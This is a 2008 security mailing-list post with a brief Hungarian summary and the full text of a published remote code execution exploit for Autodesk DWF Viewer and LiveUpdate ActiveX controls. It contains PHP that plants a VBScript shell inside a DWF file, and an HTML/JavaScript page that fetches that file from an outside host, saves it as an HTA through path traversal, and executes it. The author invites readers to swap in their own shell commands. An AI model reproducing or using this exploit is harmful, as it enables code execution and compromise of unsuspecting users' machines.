[guru] [ipsdix@gmail.com: Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit]
DATE: Fri, 03 Oct 2008 10:49:33 +0200
Két biztonsági hibát is találtak az Autodesk DWF Viewer ActiveX vezérlőben.
Az első hiba az AdView.dll SaveAS() metódusában található, a támadó
tetszőleges kiterjesztéssel hozhat létre állományokat. A második hiba a
LiveUpdate16.DLL ApplyPatch() metódusában van, a második argumentumban
megadott program elindítható.
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Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit
by Nine:Situations:Group::bruiser
site: http://retrogod.altervista.org/
tested against IE6
tested software: Revit Architecture 2009 sp2
Autodesk Design Review 2009 (which also comes with Revit)
dll settings (both):
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False
The first vulnerability is caused due to the CExpressViewerControl class
(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method
which allows to store locally files with arbitrary extension.
The second one is related to the ApplyPatch() one inside the UpdateEngine
class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to launch an arbitrary
executable by the second argument. Note, that the first one, alone, allows
arbitrary code execution. The impact of the second one is limited if you cannot
specify command arguments or launch a file of yours.
The embedded dwf file (located at the url http://retrogod.altervista.org/suntzu.dwf)
has been created modifying an existing one, replacing a .png resource file with
a vbscript shell through the following script (note the PCLZIP_OPT_NO_COMPRESSION flag,
this has been used to preserve the code, note also the dwg files are
essentially zips) :
<?php
//library:
//http://www.phpconcept.net/pclzip/index.en.php#download
include_once('pclzip.lib.php');
$archive = new PclZip('suntzu.dwf');
//modify path
$list = $archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);
if ($list == 0) {
echo "ERROR : ".$archive->errorInfo(true);
}
?>
take a look to suntzu.dwf with an hex-editor...
This exploit launch calc.exe but you can embed your own vbscript shell
and extended shell commands, by using the php code given.
-->
<HTML>
<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
WIDTH="640" HEIGHT="480"
id='CExpressViewerControl' >
<PARAM NAME="Src"
VALUE="http://retrogod.altervista.org/suntzu.dwf";>
</OBJECT>
<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B'
id='UpdateEngine' />
</OBJECT>
<script type="text/javascript">
<!--
strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";
try
{
CExpressViewerControl.SaveAS (strPatchFile);
}
catch(e)
{
document.write("impossible to save suntzu.hta ...");
}
finally
{
}
strProductCode="whatever" ;
try
{
UpdateEngine.ApplyPatch (strProductCode , strPatchFile);
}
catch(e)
{
document.write("impossible to execute suntzu.hta ...");
}
finally
{
}
-->
</script>
original advisory: http://retrogod.altervista.org/9sg_autodesk_revit_arch_2009_exploit.html
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